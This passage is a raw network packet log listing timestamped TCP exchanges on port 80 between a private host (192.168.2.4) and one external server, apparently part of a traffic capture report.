Nov 24, 2022 13:27:53.192162991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192184925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193104982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193125010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193144083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193162918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193180084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193183899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193200111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193216085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193217993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193236113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193247080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193254948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193273067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193274975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193290949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193301916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193335056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193372011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193453074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193471909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193490982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193510056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193515062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193531036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193548918 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193552971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193567991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193573952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193587065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193607092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193608999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193627119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193645954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193651915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193666935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193685055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193698883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193703890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193725109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193743944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193743944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193763018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193770885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193783045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193802118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193820000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193823099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193839073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193859100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193860054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193876982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193896055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193902016 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193916082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193933010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193933964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193952084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193969965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.193974018 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.193989038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194005966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194015026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194024086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194041967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194048882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194060087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194065094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194078922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194096088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194114923 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194120884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194134951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194144011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194153070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194178104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194271088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194288969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194307089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194327116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194329977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194346905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194351912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194365025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194400072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194413900 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194417953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194436073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194442034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194453001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194473028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194478035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194490910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194509029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194519043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194528103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194546938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194566011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194567919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194585085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194602013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194602966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194622040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194628954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194642067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194659948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194669962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194679022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194698095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194714069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194722891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194734097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194745064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194753885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194772959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194778919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194791079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194809914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194823027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194828033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194844961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194864035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194865942 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194889069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194895029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194914103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194930077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194947004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194961071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.194963932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194983006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.194991112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195002079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195007086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195020914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195039034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195056915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195063114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195076942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195095062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195099115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195112944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195120096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195130110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195147038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195162058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195163965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195180893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195194960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195198059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195215940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195223093 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195233107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195250034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195266962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195276976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195283890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195302010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.195302963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.195400000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197329044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197357893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197376966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197396994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197415113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197424889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197432995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197448969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197452068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197470903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197488070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197505951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197508097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197509050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197526932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197534084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197545052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197561979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197571039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197581053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197598934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197622061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197629929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197642088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197659016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197660923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197670937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197676897 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197695971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197714090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197731972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197737932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197752953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.197815895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.197815895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198261976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198282003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198298931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198318005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198335886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198355913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198364973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198364973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198374987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198394060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198394060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198412895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198431015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198451996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198513031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198622942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198668957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198700905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198759079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198774099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198801994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198805094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198844910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198899031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198937893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.198947906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.198986053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.199152946 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199261904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199383974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199446917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.199512005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199561119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.199582100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199681044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199740887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199794054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199798107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.199845076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199846983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.199899912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199950933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.199996948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200009108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200052977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200063944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200134039 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200186014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200232029 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200241089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200285912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200298071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200352907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200407028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200458050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200459003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200520039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200551033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200608969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200653076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200664997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200717926 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200777054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200822115 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200839996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200886965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.200902939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.200964928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201024055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201069117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201077938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201124907 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201128960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201186895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201239109 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201289892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201292038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201347113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201347113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201402903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201459885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201515913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201545000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201556921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201572895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201630116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201683998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201734066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201738119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201782942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201824903 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.201833010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201886892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201947927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.201978922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202007055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202012062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202076912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202137947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202191114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202192068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202239037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202245951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202306032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202370882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202419043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202434063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202477932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202493906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202549934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202624083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202698946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202848911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.202912092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.202930927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203186035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203238010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203300953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203329086 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203342915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203352928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203445911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203496933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203546047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203546047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203592062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203605890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203660965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203716040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203768015 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203769922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203814983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203823090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203879118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203926086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.203973055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.203975916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204021931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204025030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204080105 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204135895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204184055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.204193115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.204248905 CET	80	49702	66.235.200.147	192.168.2.4
